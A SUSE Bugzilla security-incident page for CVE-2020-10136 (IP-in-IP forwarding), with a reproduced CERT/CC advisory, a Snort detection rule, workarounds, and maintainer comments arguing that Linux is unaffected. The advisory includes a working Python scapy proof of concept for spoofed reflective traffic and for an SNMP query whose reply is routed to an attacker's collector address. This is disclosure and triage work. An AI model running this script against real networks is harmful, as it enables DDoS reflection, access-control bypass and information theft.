Bug 1170918 - (CVE-2020-10136) VUL-0: CVE-2020-10136: IP-in-IP protocol routes arbitrary traffic by default
(CVE-2020-10136)
VUL-0: CVE-2020-10136: IP-in-IP protocol routes arbitrary traffic by default
Status: NEW
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P3 - Medium : Major
: ---
Assigned To: Michal Kubeček
Security Team bot
CVSSv2:NVD:CVE-2020-10136:5.0:(AV:N/A...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2020-04-30 11:14 UTC by Alexandros Toptsoglou
Modified: 2020-06-08 20:19 UTC (History)
2 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Alexandros Toptsoglou 2020-04-30 11:14:19 UTC
via pre-notification list 

IP-in-IP protocol routes arbitrary traffic by default

Overview

An unauthenticated attacker can use the IP-in-IP protocol to route network traffic through a vulnerable device, which can lead to spoofing, access control bypasses, and other unexpected network behaviors. This can lead to information leaks (CWE-200) and/or access control bypasses (CWE-284).


Description

IP-in-IP encapsulation and tunneling (specified in RFC 2003 https://tools.ietf.org/html/rfc2003) allows for IP packets to be encapsulated in an outer IP packet and transmitted. This is very similar to IP GRE VPNs and IPSEC VPNs in tunnel mode, except IP-in-IP is unencrypted by its default specification. An IP-in-IP device is considered to be vulnerable if it accepts IP-in-IP packets from any source to any destination without explicit configuration for enabling IP-in-IP tunnels. When an IP-in-IP packet is received by a vulnerable device/endpoint, it unwraps the inner IP packet and forwards this packet through its default network route acting like a tunneled router.  This behavior is expected only when IP-in-IP tunneling is explicitly configured and allowed from specific sources and destinations. When a vulnerable device routes unidentified packets to another destination, spoofing of IP addresses is possible which can lead to reflective DDOS. This behavior can also lead to scenarios such as bypassing access lists, firewalls and other network controls that may be implemented on the target device’s environment. Because the forwarded network packet may not be inspected by vulnerable devices, there are possibly other unexpected behaviors that can be abused by an attacker on the target device or the target device's network environment.

Proof of Concept

The following code in Python3 with scapy demonstrates the issue.
#!/usr/bin/env python3
import sys
from scapy.all import *
if len(sys.argv) < 3:
  print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]")
  print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT")
  sys.exit(0);
## IP-in-IP forwarding device vulnerable to VU-636397
VULNERABLE_MACHINE_IP = sys.argv[1]
## VICTIM IP of the machine we want to send packet to
VICTIM_IP = sys.argv[2]

if len(sys.argv) == 5 and sys.argv[4] == "bypass":
  ## Address we want to send the return traffic back to
  DATA_COLLECT_IP = sys.argv[3]
  ## LAN bypass mode to jump into VICTIM_IP network
  ## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP
  send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/
    SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))])))
else:
  ## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP
  ## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable"
  send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/
    Raw(load="I am Vulnerable\n"))
## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute:
## tcpdump -i any -nvvv udp port 3363

The demonstration script can be used in two ways – spoof mode and bypass mode. Initial setup requires at least three devices for this testing. In the simple spoofing mode, attacker will send a IP-in-IP packet from their device to a vulnerable machine (VULNERABLE_MACHINE_IP sys.argv[1]) to replay a packet to the victim’s device (VICTIM_IP sys.argv[2]). This mode demonstrates a DDOS capability to send unsolicited traffic to VICTIM_IP. Because this packet has valid source and destination, anti-spoofing measure such as BCP-38 will not block this crafted packet. The intended traffic can be routed through the VULNERABLE_IP to the VICTIM_IP device by an unauthenticated attacker.

In the bypass mode (using all 4 arguments for the script), the attacker will send a crafted IP-in-IP packet from the attacker’s device to a vulnerable device (VULNERABLE_MACHINE_IP sys.argv[1]). The vulnerable device will receive and decapsulate the packet and forward the inner IP packet to the victim device (VICTIM_IP sys.argv[2]) machine with a source IP Address of DATA_COLLECT_IP (sys.argv[3]). The attacker can thus solicit information using the sample SNMP query to be sent to DATA_COLLECT_IP which he has access to.  In the provided example, device at the VICTIM_IP address is assumed to have SNMP enabled with the standard "public" community string for read-only access. SNMP is being demonstrated here, but this forwarding behavior can allow for many types of unexpected IP traffic to traverse using the vulnerable machine as a forwarding point for any nefarious communications as planned by the attacker.

Impact

An unauthenticated attacker may be able to route network traffic through a vulnerable device, which can lead to information leakage (CWE-200) and/or bypass of access-control (CWE-284).

Resolution

The CERT/CC recommends that you apply the latest patch provided by your vendor that addresses this issue. If a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature. Devices manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.

Workaround

An impacted customer can prevent IP-in-IP packets by filtering protocol 4 IP packets at the upstream router or another device to prevent this unexpected behavior by the target device. Note this filtering is for IP protocol header value of 4 and NOT IP protocol version of 4.

Detection Singature (IDS)

This Snort IDS rule looks for any IP-in-IP traffic, whether intentional or not. Further filtering can be applied to ignore sources and destinations that are allowed by your policy to route IP-in-IP traffic.
alert ip any any -> any any (msg:"IP-in-IP Tunneling VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397; rev:1;)

Vendor Status

If your device or the networking software is vulnerable and a patch is available, please provide a vendor statement with any links to your advisory and detailed information of how the relevant updates may be obtained. We plan to include your statement (verbatim) and related links in our vulnerability note. If your device does not support IP-in-IP OR your device does not allow for the vulnerable behavior, let us know so we can mark your device as "Not Affected" in our advisory. We hope to publish this advisory around June 1 2020, so your timely input will help us in making our advisory pertinent with specific information for your software.

Acknowledgements

The CERT/CC would like to thanks Yannay Livneh <yannayl@gmail.com> for reporting this issue to us.

CVE

CVE-2020-10136 has been reserved for this vulnerability. This CVE ID represents the vulnerability in the under-specification of the IP-in-IP protocol. According to the CVE assignment rules, it may be appropriate for individual IP-in-IP implementations to issue additional CVE IDs.

Vijay Sarvepalli
Vulnerability Analysis Team
======================================================================
CERT Coordination Center
kb.cert.org / cert@cert.org
======================================================================
Comment 4 Michal Kubeček 2020-05-04 07:33:57 UTC
The problem description is rather vague and if I understood it correctly, it
does not match what ipip tunneling works like. It is definitely not true that
any ipip packet would be decapsulated and inner packet processed (received or
forwarded, depending on destination address). Only packets with outer IP header
matching one of existing tunnels are handled, the rest is dropped. Thus the
attacker would need to setup a tunnel with their address as remote endpoint
on our system first which hardly counts as "remote" or "unauthenticated".

If the point of this report is that attacker able to spoof outer source IP
address to match remote endpoint of one of existing ipip tunnels (if there is
any which is quite rare) can pose as the remote endpoint and inject inner
traffic, that would be a generic problem of any unauthenticated tunneling
protocol; the same could be said about GRE, SIT, vxlan, ...
Comment 5 Marcus Meissner 2020-06-04 14:38:40 UTC
has been published now

https://de.tenable.com/blog/cve-2020-10136-ip-in-ip-packet-processing-vulnerability-could-lead-to-ddos-network-access

https://github.com/CERTCC/PoC-Exploits/tree/master/cve-2020-10136

https://kb.cert.org/vuls/id/636397


Vulnerability Note VU#636397
Original Release Date: 2020-06-02 | Last Revised: 2020-06-04
Overview

IP Encapsulation within IP (RFC2003 IP-in-IP) can be abused by an unauthenticated attacker to unexpectedly route arbitrary network traffic through a vulnerable device.
Description

IP-in-IP encapsulation is a tunneling protocol specified in RFC 2003 that allows for IP packets to be encapsulated inside another IP packets. This is very similar to IPSEC VPNs in tunnel mode, except in the case of IP-in-IP, the traffic is unencrypted. As specified, the protocol unwraps the inner IP packet and forwards this packet through IP routing tables, potentially providing unexpected access to network paths available to the vulnerable device. An IP-in-IP device is considered to be vulnerable if it accepts IP-in-IP packets from any source to any destination without explicit configuration between the specified source and destination IP addresses. This unexpected Data Processing Error (CWE-19) by a vulnerable device can be abused to perform reflective DDoS and in certain scenarios used to bypass network access control lists. Because the forwarded network packet may not be inspected or verified by vulnerable devices, there are possibly other unexpected behaviors that can be abused by an attacker on the target device or the target device's network environment.
Impact

An unauthenticated attacker can route network traffic through a vulnerable device, which may lead to reflective DDoS, information leak and bypass of network access controls.
Solution
Apply updates

The CERT/CC recommends that you apply the latest patch provided by the affected vendor that addresses this issue. Review the vendor information below or contact your vendor or supplier for specific mitigation advice. If a device has the ability to disable IP-in-IP in its configuration, it is recommended that you disable IP-in-IP in all interfaces that do not require this feature. Device manufacturers are urged to disable IP-in-IP in their default configuration and to require their customers to explicitly configure IP-in-IP as and when needed.
Disable IP-in-IP

Users can block IP-in-IP packets by filtering IP protocol number 4. Note this filtering is for the IPv4 Protocol (or IPv6 Next Header) field value of 4 and not IP protocol version 4 (IPv4).
Proof of Concept (PoC)

A proof-of-concept originally written by Yannay Livneh is available in the CERT/CC PoC respository.
Detection Signature (IDS)

This Snort IDS rule looks for any IP-in-IP traffic, whether intentional or not seen at upstream network path of a vulnerable device. This Snort or Suricata rule can be modified to apply filters that ignore sources and destinations that are allowed by policy to route IP-in-IP traffic.

alert ip any any -> any any (msg: "IP-in-IP Tunneling VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397; rev:1;)
Acknowledgements

Thanks to Yannay Livneh for reporting this issue to us.

This document was written by Vijay Sarvepalli.
Comment 6 Marcus Meissner 2020-06-04 14:39:00 UTC
Michal, can you take a more detailed look now?
Comment 7 Michal Kubeček 2020-06-08 20:19:06 UTC
The whole description still depends on behaviour which linux kernel does not
exhibit (and neither it did since the start of git history). IMHO the key
is this sentence:

  An IP-in-IP device is considered to be vulnerable if it accepts IP-in-IP
  packets from any source to any destination without explicit configuration
  between the specified source and destination IP addresses.

If an ipip packet not matching any configured tunnel is received by a linux
host, it is dropped. It is true that unless suppressed e.g. by netfilter
rules, an ICMP error message is sent but it is sent to source IP address from
the outer IPv4 header. Therefore to reflect this ICMP error to someone else,
the attacker would need to spoof victim's IP address. But then such reflection
would not need ipip, any TCP or UDP port without listener would behave the
same way.

My theory is that this CVE does not describe a known vulnerability of linux
networking stack, rather a generic weakness of some implementations of ipip
observed in specific devices. The first link lists HPE, Digi International,
Treck and Cisco devices to be known as affected. I assume that if linux
kernel as such were affected, they would hardly forget to mention such catch.